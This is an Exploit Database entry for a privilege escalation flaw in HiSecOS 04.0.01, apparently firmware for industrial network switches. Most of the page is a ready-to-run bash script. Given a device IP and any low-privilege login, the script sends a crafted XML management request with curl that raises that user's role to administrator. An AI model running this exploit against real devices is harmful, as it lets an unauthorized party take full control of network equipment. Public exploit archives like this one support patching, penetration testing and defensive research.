



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# HiSecOS 04.0.01 - Privilege Escalation

**EDB-ID:**

51537

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[DREIZEHNUTTERS](#)

**Type:**

[WEBAPPS](#)

**Exploit:**   / 

**Platform:**

[HARDWARE](#)

**Date:**

2023-06-21

**Vulnerable App:**





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: HiSecOS 04.0.01 - Privilege Escalation
# Google Dork: HiSecOS Web Server Vulnerability Allows User Role Privilege Escalation
# Date: 21.06.2023
# Exploit Author: dreizehnutters
# Vendor Homepage: https://dam.belden.com/dmm3bwsv3/assetstream.aspx?assetid=15437&mediaformatid=50063&destinationid=10016
# Version: HiSecOS-04.0.01 or lower
# Tested on: HiSecOS-04.0.01
# CVE: BSECV-2021-07
```

```
#!/bin/bash
```

```
if [[ $# -lt 3 ]]; then
    echo "Usage: $0 <IP> <USERNAME> <PASSWORD>"
    exit 1
fi
```

```
target="$1"
user="$2"
pass="$3"
```

```
# Craft basic header
auth=$(echo -ne "$user:$pass" | base64)
```

```
# Convert to ASCII hex
blob=$(printf "$user" | xxd -ps -c 1)
```

```
# Generate XML payload ('15' -> admin role)
gen_payload() {
    cat <<EOF
<rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="urn:x-mops:1.0 ../mops.xsd" message-id="20">
    <mibOperation xmlns="urn:x-mops:1.0">
        <edit-config>
            <MIBData>
                <MIB name="HM2-USERMGMT-MIB">
                    <Node name="hm2UserConfigEntry">
                        <Index>
                            <Attribute name="hm2UserName">$blob</Attribute>
                        </Index>
                        <Set name="hm2UserAccessRole">15</Set>
                    </Node>
                </MIB>
            </MIBData>
        </edit-config>
    </mibOperation>
</rpc>
EOF
}
```

```
curl -i -s -k -X POST \
-H "content-type: application/xml" \
-H "authorization: Basic ${auth}" \
--data-binary "$(gen_payload)" \
"https://${target}/mops_data"
```

```
echo "[*] $user is now an admin"
```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.